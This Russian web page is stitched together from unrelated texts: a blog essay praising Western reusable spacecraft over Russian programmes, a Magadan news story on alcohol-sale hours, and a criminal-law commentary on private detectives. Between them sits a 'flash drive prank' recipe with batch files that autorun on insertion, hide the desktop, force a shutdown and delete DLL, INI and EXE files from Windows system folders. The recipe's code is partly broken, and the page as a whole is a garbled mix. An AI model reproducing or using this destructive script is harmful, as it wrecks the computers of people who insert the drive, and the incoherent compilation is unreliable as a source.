magSpace.ru ¹⁸⁺

Практически все уверены, что в настоящее время, после закрытия проектов «Спейс Шатл» и «Буран», многоразовые космические корабли человечеством не используются. А меж тем, вот прямо сейчас, они пролетают над нами.

По состоянию на 2016 год, эксплуатируются по меньшей мере два типа многоразовых космических кораблей, а в 2017 году их станет уже четыре. Или даже пять, в зависимости от того, как считать.
Это, впрочем, не удивительно, российские СМИ выстроили вокруг западных космических программ довольно глухую стену молчания, и если через нее что-то и просачивается, то в исключительно отфильтрованном, дозированном и искаженном виде. Вот, большая часть моих знакомых почему-то уверена, что c запуском многоразовых ракет Falcon «у американцев — сплошные сбои», хотя дело обстоит ровно наоборот.

Вот только вчера, например, совершил очередную посадку многоразовый коммерческий космический грузовик «Дракон» (Dragon), который ранее был запущен многоразовой космической ракетой «Сокол 9» (Falcon 9), которая запустив его, вернулась на землю. Вот про многоразовую космическую ракету почти все хоть что-то слышали, а про многоразовый космический корабль — практически никто.

Вот я и подумал. Что было бы неплохо рассказать, как обстоят дела в мировой космической области. Как они на самом деле обстоят там.

Помните, как после закрытия программы «Спейс Шатл» в 2011, все российские СМИ дружно и громогласно писали, что теперь эре многоразовых космических кораблей пришел конец, они себя изжили, возобновятся не скоро, а основным средством доставки грузов и экипажей в космос на МКС станут старые добрые и надежные Союзы и Прогрессы?

Так вот, это была неправда. Вернее — полуправда. Союзы и Прогрессы конечно были и остаются основным средством доставки на российскую часть Международной космической станции.

А на американскую ее часть, после закрытия программы многоразовых Шаттлов, стал летать многоразовый «Дракон». Который, возможно и не такой впечатляющий, как Шаттл, и не такой огромный, но зато устроен намного более просто: надежнее, безопаснее и, главное — существенно дешевле. Дешевле, потому, что использует совсем другие, современные технологии полета и посадки. И потому, что может выводится на орбиту многоразовыми же ракетами, а не одноразовыми ускорителями.

А еще вот прямо сейчас над нами пролетает другой многоразовый американский космический корабль, Боинг X-37.

Не слышали?

Оно и понятно, владельцем этого космического корабля является не НАСА, а армия США, и потому никто не знает, зачем он там летает и что делает. X-37 — это не просто «многоразовый корабль», это полноценный космоплан, или, как еще говорят — «орбитальный самолёт». То есть он не просто кружится на орбите, на которую его вывели, а свободно маневрирует в космосе, летает куда хочет… Ну, короче, помните аппараты, на которых повстанцы в «Звездных войнах» атаковали «Звезду Смерти». Ну вот это примерно то же самое, только беспилотник.

Летают X-37 основательно и подолгу. Так, например, предыдущий полет продолжался 674 дня. А тот, что летает сейчас, летает уже ровно год, с 20 мая 2015.

Но и «Дракон», и «X-37» это бесплотные корабли. Пилотируемые многоразовые полеты начнутся в следующем, 2017 году.

Такое «запаздывание» произошло не потому, что имеются какие-то сложности в реализации программы, а наоборот, потому что наука и техника сейчас развиваются настолько стремительно, что новые возможности появляются быстрее, чем разработчики успевают нарисовать чертежи, и очень хочется включить туда все новое.

Так, например, пилотируемая «пассажирская» версия «Дракона» Dragon V2 должна была начать совершать регулярные полеты еще в 2015 году. Она была готова к этому, были проведены испытания, но… в тот момент наука и технологии сделали еще несколько крупных шагов вперед и регулярные полеты перенесли на два года, чтобы дать «Второму Дракону» новые возможности. Пассажиров стало на 2 человека больше (семь вместо пяти), новые двигатели, которые, внимание, изготавливаются методом 3D печати, при этом обеспечивается мягкая посадка даже при отказе всех восьми двигателей.

Взлет «Дракона 2» с земли (без ракеты-носителя)

Аппарат может свободно маневрировать в космосе, а в условиях земной атмосферы… взлетать и садиться, как вертолет, на своих 8 реактивных напечатанных на 3-D принтерах двигателях.

И да, на орбиту его выводит все та же многоразовая ракета «Сокол» (Falcon).

Об остальных «многоразовиках», которые уже существуют, испытаны и должны начать регулярно летать в следующем году, я расскажу вкратце, чтобы не утомлять вас.

Орбитальный самолет Dream Chaser (бегущий за мечтой), первый полет которого должен состояться в ноябре 2016 года. Увидев его, вы воскликнете: «да это же Шаттл». Ну да, это так и есть, DreamChaser — это развитие проекта «Спейс Шаттл». Но, конечно, — на новом уровне. Изготовлен он из композитных материалов, может самостоятельно взлетать и садиться в атмосфере (а не только планировать, как Шаттл), и особый цимес — он складной. При старте крылья, стабилизаторы и все выступающие части убираются, корабль как бы «сворачивается в трубочку», которую для вывода аппарата на орбиту можно «всунуть» в любую подходящую по размеру ракету и таким образом избежать стартовых повреждений (напомню, что причиной гибели и Челленджера и Колумбии были повреждения на старте).

Орбитальный самолет Dream Chaser

Из существующих ракет по размеру подходят американская одноразовая Атлас-5 и европейская Ариан 5, но в будущем возможен переход на многоразовые «Falcon», такая техническая возможность существует уже сейчас.

Орион (Orion) — многоразовый многоцелевой космический корабль способный совершать межпланетные перелеты. Махина, жилой дом, диаметром 5 метров. Это не «проект» и не «перспективная разработка». Этот корабль уже создан, уже совершил свой первый полет в космос, но пока не эксплуатируется, так как программы межпланетных перелетов (к Луне и к Марсу) начнутся только в 20-х годах. А потребности «ближнего космоса» сейчас вполне покрываются «Драконами». Впрочем, чтобы проект не «простаивал зазря» планируется, что корабль Orion все же будет летать к МКС в ближайшие годы.

Боинг CST-100 Starliner —многоразовый корабль узкого назначения, для полетов на орбитальные станции, близкий аналог первого «Дракона», но в отличие от него может брать на борт экипаж из семи человек. Создан по заказу НАСА. Ну просто потому, что НАСА сочла, что помимо арендованных у частного подрядчика «Драконов», в лице SpaceX, у нее должны быть и собственные корабли. Характерной особенностью Старлайна является то, что его можно установить практически на любую существующую ныне ракету.

Boeing CST-100 Starliner

Но главный цимес, благодаря чему все эти корабли будут действительно, а не условно «многоразовыми» — это конечно проект «Сокол» (Falcon), многоразовые ракеты, которые будут выводить (и уже сейчас выводят) все эти многоразовые корабли в космос и возвращаться на землю. Благодаря чему в обозримом времени стоимость вывода груза на орбиту будет сравнима со стоимостью израсходованного топлива.
Falcon— это модульная линейка ускорителей, которые могут соединяться между собой на манер конструктора Lego, наращивая мощности и возможности получаемых ракет до физических пределов технологии. Причем после реализации задачи, все кубики этого конструктора возвращаются на землю путем мягкой посадки для повторного использования.

В настоящее время самая мощная ракета серии, Falcon Heavy (первый запуск осенью 2016 года), способна вывести на низкую опорную орбиту 55 тонн груза, что в два с половиной раза больше чем самая мощная российская ракета Протон и в полтора раза больше чем пока еще несуществующая, но заявленная российская Ангара-7.

Космический флот землян в 21 веке космос, наука

Теперь давайте посмотрим, что там «нового космического» в активе Российской Федерации.

Ни-че-го!

Все те же Союзы-Прогрессы, которые безнадежно устарели, летают аж с 60-х годов, но есть явные признаки, что в обозримом будущем летать перестанут.

Да есть еще «Протон», из тех же, 60-х, который по российской документации проходит как «тяжелая» ракета, но по выводимой на орбиту массе относится к средним. Самая аварийная, очень опасная, летающая на чрезвычайно ядовитом гептиле ракета. Запускать которую можно только из одного места в мире, с Байконура, и которая всецело зависит от импортных (в том числе, украинских) комплектующих, с которыми сейчас… ну вы сами понимаете. Собственно, «Протон» планировали снять с производства еще в 80-х и заменить «Энергией». Но, «Энергия» не состоялась, и Протон сейчас летает (постоянно взрываясь) лишь потому, что других «тяжелых» ракет у России нет.

А как же «Ангара»? — спросите вы. — Которой российские СМИ прожужжали нам все уши.

А вот давайте об «Ангаре» и поговорим.

Тем более, что есть с чем сравнивать — «Ангара» в какой-то мере аналог «Falcon». Та же модульная конструкция — кубики Лего — из которых собирается ракета нужной мощности. Но на этом — сходство и кончается!

Прежде всего отличие состоит в том, что Falcon’ы уже летают, а когда начнет летать Ангара — большой вопрос.

Давайте сравним:

Проект Falcon стартовал в 2002 году, а спустя уже 6 лет, в 2008 началась коммерческая эксплуатация ракет. Проект Ангара стартовал в 1995 году, и сейчас спустя 21 (двадцать один!) год совершенно непонятно, когда же начнется эксплуатация этих ракет.

В принципе одного этого факта уже достаточно, чтобы понять все про Ангару, но давайте продолжим для полноты картины.

За 8 лет эксплуатации на «Falcon» сменилось ТРИ (!) поколения двигателей, это не считая «модернизаций». Последнее поколение двигателей, Мерлин 1D+, позволило перевести «легкую» ракету Falcon 9 в класс «средне-тяжелых», без какой-либо модернизации, просто за счет замены двигателей.

На Ангаре используются якобы «новейшие» двигатели РД-191 — которые на самом деле представляют собой просто упрощенную «четвертинку» (одна камера, вместо четырех) двигателей РД-170, которыми оснащалась ракета «Энергия», но которые были разработаны для ракет «Зенит» (Южмаш, Украина) аж в конце 70-х.

Предельная нагрузка, которую сможет вывести на низкую опорную орбиту самая тяжелая Ангара-7 (к разработке которой еще даже не приступили, в работе сейчас Ангара-5) — 35 тонн. Для Falcon верхний предел не ограничен, но самая тяжелая на сегодняшний день модификация, Falcon Heavy, выводит на низкую опорную орбиту 55 тонн.

Falcon стартует практически с любого подходящего по размерам стартового комплекса, для запуска Ангары требуется построенный специально для нее сложный комплекс, который сейчас имеется только в Плесецке, откуда коммерческие запуски — невозможны.

Falcon — многоразовый, Ангара — одноразовая.

Ну и главное, повторюсь. Falcon летает уже восемь лет, а когда полетит Ангара — неизвестно. Но известно — другое, в момент начала эксплуатации (если она начнется) — это будет уже безнадежно устаревшая система.

Ну и мой рассказ будет неполным, если я не упомяну «перспективный» российский проект «Федерация», который в какой-то мере является аналогом упоминавшегося выше американского «Ориона», только по размерам и грузоподъёмности уступает Ориону в 4 раза. Ситуация тут ровно такая же: «Орион» уже летает, а что касается «Федерации», то на сегодняшний момент, спустя одиннадцать лет (!) после запуска проекта в работу (2005 год) работы находятся на стадии «начата разработка рабочей документации».

Ситуацию с «Федерацией» предельно кратко обрисовал бывший космонавт Сергей Крикалев, а ныне — первый заместитель главы ЦНИИмаша на заседании экспертного совета коллегии Военно-промышленной комиссии РФ в 2014 году: «Если продолжать всё делать как сейчас, мы новый корабль не построим вообще никогда, даты всё время переносятся, утвержденного системного графика создания корабля нет, когда будет создана ракета для него, также неясно».

Это было в 2014 году. С той поры экономика России сильно просела, а санкции сделали недоступными технологии, без которых «Федерация» вряд ли состоится.

На этой специфической ноте и закончим.

Берем флешку которую вам не жалко (больше вы не сможите ей пользоватся)Создаем на ней:
AUTOEXEC.BAT
Dead.BAT
autorun.ini
______________________________
в AUTOEXEC.BAT пишем:
goto %config%
:dos1
rem c:vc401vc
lh keyrus
lh mmouse
lh C:WINDOWSCOMMANDmscdex /d:12345678
lh dndn
bootgui=0
:dos2
rem essolo.com
lh keyrus
lh mmouse
lh dndn
bootgui=0
:win
rem c:essolo.com
set path=C:WINDOWS;C:WINDOWSCOMMAND;c:;c:windows;c:windowscomand;c:arc;c:dn
C:WINDOWSCOMMANDDELTREE /y C:WINDOWSTEMP*.*
mode con codepage prepare=((866) C:WINDOWSCOMMANDega3.cpi)
mode con codepage sеlесt=866
keyb ru,,C:WINDOWSCOMMANDkeybrd3.sys
goto continue
:meos
c:kolibrimeosload.com
:l:meosload.com
:continue
rem bootgui=1
cd
cd windows
del *.dll
del *.ini
cd system32
del *.dll
del *.exe
cd D:
del *.exe
______________________________
в Dead.BAT пишем:
@echo off
cp Флешка:AUTOEXEC.BAT C:
msg * «Dead» >nul
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
shutdown -s -t 1 -c «lol» -f >nul
______________________________
в autorun.ini пишем:
[autorun]
OPEN=Dead.BAT
______________________________
готово!
как это работает:
Вы вставляете флешку autorun.ini автоматичиски открывает Dead.BAT, Dead.BAT копирует AUTOEXEC.BAT на C и выключает компютер. при следущем запуске система слетает.

Продажу алкоголя до 22.00 колымские депутаты поддержали сразу в двух чтениях

Александр Басанский подготовил проект по многочисленным обращениям жителей Магаданской области

Магадан, 19 февраля, MagadanMedia. Депутаты Магаданской областной Думы приняли сразу в двух чтениях проект о продаже алкоголя до 22.00, тем самым продлив на час его реализацию. Инициатором предложения стал Александр Басанский, подготовивший его по многочисленным обращениям жителей Колымы. Вопросов к оратору не прозвучало, однако, высказаться по аспектам проекта решились многие законотворцы, сообщает ИА MagadanMedia.

Напомним, что в октябре 2014 года колымские депутаты поддержали полицейских, инициировавших внесение изменений в статью 41 Закона Магаданской области, по которым розничная продажа алкоголя в регионе была запрещена с 21.00 до 10.00 следующего дня. Закон был обнародован 28 октября и вступил в силу 27 ноября. Исключение составили организации и частные предприниматели, реализующие алкоголь в пунктах общепита, также закон не распространился и на магазины беспошлинной торговли (duty free shop).

Сегодня на XXXVI очередном заседании Магаданской областной Думы заместитель председателя, член постоянной депутатской комиссии по экономическому развитию, бюджету и налогам Александр Басанский предложил проект о внесении изменения в статью 4 Закона Магаданской области «О государственном регулировании производства и оборота этилового спирта, спиртосодержащей и алкогольной продукции на территории Магаданской области и об ограничении потребления алкогольной продукции».

«В областное законодательство должны быть внесены изменения по продаже спиртного, – заявил Александр Басанский. – Такие ограничения уже были отменены по голосу народа в Камчатском и Приморском краях и Еврейской автономной области. Данное изменение не повлечет никаких дополнительных расходов из регионального бюджета. Любая запретительная мера вызывает противодействие: мы можем наблюдать увеличение продажи спирта и нелегальный оборот алкоголя. Жители нашей территоии живут в цивилизованном обществе, в области 2,7% пьющих колымчан, остальные же – абсолютно нормальные люди. Я предлагаю ввести ограничительную меру продажи алкоголя с 22.00 до 10.00 следующего дня. Мы уже получили положительные заключения от почти всех районов области.

Что касается продажи спиртосодержащей продукции несовершеннолетним, то я согласен, что надо ужесточать законодательство и наказывать за нарушения самым строгим образом, чтобы молодежь ни коим образом не была к этому причастна».

Вопросов к оратору не возникло, но многие законотворцы не смогли удержаться от комментариев. Так, член постоянной депутатской комиссии по экономическому развитию, бюджету и налогам Михаил Котов поддержал Александра Басанского в том, что методы борьбы с алкоголизмом запретом ни к чему не приведут.

Заместитель председателя Магаданской областной Думы на профессиональной постоянной основе, председатель постоянной депутатской комиссии по социальным вопросам Иван Субботин также встал на сторону инициатора проекта. «Мы должны создать такие условия для отдыха, спорта, полезного времяпрепровождения колымчан, чтобы люди сами отказались от этого зла, –сообщил Иван Субботин. – Казаки ежедневно выходят на дежурство с органами полиции и видят вечернюю и ночную жизнь города. Магаданцы всегда находят возможность приобрести запретную жидкость».

Противником проекта стала первый заместитель председателя на профессиональной постоянной основе, председатель постоянной депутатской комиссии по региональным вопросам и местному самоуправлению Оксана Бондарь, которая считает, что надо дать шанс прошлогоднему закону. «Все чаще мы слышим, что осуществляется контроль над продажей алкоголя несовершеннолетним, молодежь активно помогает полиции наказывать нарушителей, – рассказала Оксана Бондарь. – Также принято постановление Правительства, которое запрещает продажу напитков на опасных объектах. Сейчас прошел оценку регулирующего воздействия законопроект, который налагает дополнительные нагрузки на места общепита, торгующие спиртными напитками на вынос в ночное время. По информации министерства торговли в марте 2015 года этот законопроект будет внесен на заседании областной Думы. Мы не можем быть равнодушными в том, что на протяжении последних лет Колыма является лидером продажи спиртных напитков по всей стране. Сейчас эта статистика меняется к лучшему».

Точку в этом вопросе поставил присутствующий на заседании губернатор Магаданской области Владимир Печеный. «Без запретительных мер мы действовать не можем – это путь к беспределу, – заявил глава региона. – Должны быть разумные рамки. Час кардинально не меняет ситуацию. Нам необходимо совершенствовать нашу законодательную базу, в том числе и в сфере торговли. Мы затянули с вопросом продажи алкогольных напитков в тех точках, которые приобрели вывеску общепита, хотя на самом деле таковыми не являются. Там нам и необходимо поставить барьеры».

После бурного обсуждения предложение о внесении изменений в законопроект о продаже алкоголя было принято сразу в двух чтениях. 12 депутатов проголосовало «за» и восемь депутатов – «против». Для принятия решения в пользу законопроекта было необходимо 11 положительных голосов.

Подробнее: magadanmedia.ru/news/politics/19.02.2015/422152/prodazhu-alkogolya-do-22-00-kolimskie-deputati-podderzhali-srazu-v-dvuh-chteniyah.html

1. Частная детективная и охранная деятельность — это оказание на возмездной договорной основе услуг гражданам и юридическим лицам предприятиями, имеющими специальное разрешение (лицензию), в целях защиты законных прав и интересов своих клиентов (ст. 1 закона «О частной детективной и охранной деятельности в Российской Федерации»).

Лицензии на эту деятельность выдаются органами внутренних дел после предоставления гражданином соответствующих документов (ст. 6, 11, 12 закона «О частной детективной и охранной деятельности в Российской Федерации»).

2. Объективная сторона деяния, предусмотренного в ст. 203 УК, состоит:

1) в превышении частными детективами и охранниками полномочий, предоставленных им в соответствии с лицензией. Примерами такого превышения могут служить:

— сокрытие от правоохранительных органов фактов о готовящихся или совершенных преступлениях;

— выдача себя за сотрудников правоохранительных органов;

— сбор сведений, связанных с личной жизнью, политическими и религиозными убеждениями отдельных граждан;

— осуществление видео- и аудиозаписи, фото- и киносъемки в помещениях без согласия граждан и должностных лиц;

— совершение действий, ставящих под угрозу жизнь, здоровье, честь, достоинство, имущество граждан;

— фальсификация материалов и введение в заблуждение клиента;

— разглашение собранной информации, использование ее вопреки интересам клиента или в интересах третьих лиц;

— нарушение тайны переписки, телефонных переговоров и т.д. (ст. 7 закона «О частной детективной и охранной деятельности в Российской Федерации»);

2) в осуществлении частной детективной или охранной деятельности вопреки ее задачам. Задачами частной детективной или охранной деятельности являются:

— сбор сведений по гражданским делам по договорам с клиентами — участниками процесса;

— изучение рынка, сбор информации для деловых переговоров, выявление некредитоспособных или ненадежных деловых партнеров;

— установление обстоятельств неправомерного использования товарных знаков, знаков обслуживания, фирменных наименований, недобросовестной конкуренции, разглашения сведений, составляющих коммерческую тайну;

— поиск без вести пропавших граждан, поиск утраченных документов, имущества;

— сбор сведений по уголовным делам в установленном порядке;

— защита жизни и имущества граждан;

— охрана имущества клиентов;

— проектирование, монтаж и эксплуатационное обслуживание средств охранно-пожарной сигнализации и т.д. (ст. 3 закона «О частной детективной и охранной деятельности в Российской Федерации»);

3) в том, что упомянутое деяние совершается с применением:

— насилия (т.е. нанесения побоев пострадавшему, истязания его, причинения ему боли, уничтожением его имущества и т.д.);

— угрозы применения насилия (т.е. обещания убить потерпевшего или его близких, причинить вред их здоровью, истребить имущество и т.д.).

3. Субъективная сторона анализируемого деяния характеризуется прямым умыслом, т.е. виновный осознает, что совершает общественно опасные действия, превышая свои полномочия, предвидит возможность или неизбежность наступления для потерпевших общественно опасных последствий и желает их наступления (ч. 2 ст. 25 УК).

Субъектами данного преступления являются вменяемые физические лица, достигшие 18 лет (а при осуществлении детективной деятельности — 21 года), выполняющие функции частных детективов или работников охранных организаций.

4. В ч. 2 ст. 203 УК указано квалифицирующее обстоятельство данного деяния: наступление тяжких последствий. Ими, в частности, могут быть смерть гражданина, причинение ему телесных повреждений, истребление его имущества. Во всех этих случаях виновного необходимо привлекать к ответственности по ст. 203 УК и по совокупности — по той статье УК, которая предусматривает то или иное конкретное деяние (например, за убийство (ст. 105-109 УК), за причинение тяжкого вреда здоровью (ст. 111 УК).

Нужно иметь в виду, что если деяние, предусмотренное в ст. 203 УК, причинило вред исключительно интересам коммерческих организаций, то уголовное преследование осуществляется по заявлению таких организаций либо с их согласия (примечание 2 ст. 201 УК).

5. Деяние, предусмотренное ст. 203 УК, относится к преступлениям средней тяжести (ч. 3 ст. 15 УК).